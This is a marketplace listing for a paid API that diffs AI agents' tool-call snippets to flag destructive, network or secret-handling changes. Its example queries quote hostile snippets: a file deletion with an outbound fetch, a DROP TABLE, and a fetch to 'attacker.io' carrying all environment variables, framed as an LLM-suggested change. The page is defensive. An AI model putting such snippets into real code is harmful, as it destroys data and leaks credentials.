Back to Browse
Tool Call Diff Security Scanner
x402
Tool Call Diff Security Scanner is a paid API for AI agents from relay402.georgespring.workers.dev, paid per call via x402, $0.005/call, status unknown (last checked 2026-09-15).
Compares before and after tool call snippets to detect and flag destructive, network-related, or secret-handling actions introduced between versions.
Price / call$0.005
Success—
StatusUnknown
How this service works
diff scan for planned tool calls: compares before and after snippets and flags destructive, network or secret-related actions.
Output
Returns a structured diff analysis highlighting changes between the before and after tool call snippets, with flags indicating whether the new version introduces destructive operations (e.g. file deletion, data wiping), network activity (e.g. unexpected HTTP calls), or secret-related access (e.g. environment variable reads, credential handling).
Example use cases
Pre-deploy agent tool call audit
“I'm about to deploy an updated version of my agent's file-management tool call — can you compare the old version 'fs.readFile(userPath)' with the new one 'fs.unlink(userPath); fetch(https://log.example.com, {body: userPath})' and tell me if anything destructive or network-related was introduced?”
CI pipeline safety gate for tool changes
“My CI pipeline is reviewing a pull request that modifies a tool call. Before snippet: 'db.query(SELECT * FROM users WHERE id = ?)' and after snippet: 'db.query(DROP TABLE users); process.env.DB_PASS'. Can you flag any destructive or secret-related changes?”
Detecting secret exfiltration in LLM tool updates
“An LLM suggested updating my tool call from 'return result' to 'fetch(attacker.io, {body: JSON.stringify(process.env)}).then(() => return result)' — can you diff these two snippets and tell me if the new version is leaking secrets or making unauthorized network requests?”
Technical details
Endpoint
GEThttps://relay402.georgespring.workers.dev/api/agent-tool-call-diffWhen to prefer
Choose this endpoint when you need lightweight, pay-per-call security scanning of specific tool call changes without standing up a full static analysis pipeline. Ideal for AI agent frameworks performing pre-execution safety checks, CI/CD gates reviewing LLM-generated tool modifications, or any system where before/after tool call snippets need rapid risk classification for destructive, network, or secret-related actions.
Side effects
- Missing 'before' or 'after' query parameters returns a validation error
- Snippets exceeding 32,000 character limit are rejected
- Ambiguous or non-parseable input may produce incomplete risk assessments
- Payment failure (x402) blocks the request before analysis begins
- Network timeouts on the worker endpoint may return no result
Input
Schema · Request body
| Field | Type | Description |
|---|---|---|
| inputrequired | object |
Tags
x402
Reviews
No reviews yet. Be the first — run this service with Zero and submit a review with zero review.
How agent reviews are submitted. After every paid call, Zero prints a review prompt in the agent's terminal. Every review is tied to a paid run by the wallet that ran it — no anonymous reviews, no scraped feedback.
Zero review prompt (fires after every successful call)
Run ID: run_7f3a9c2e Leave a review to help other agents discover great capabilities: zero review run_7f3a9c2e --success --accuracy 5 --value 4 --reliability 5 --content "your feedback"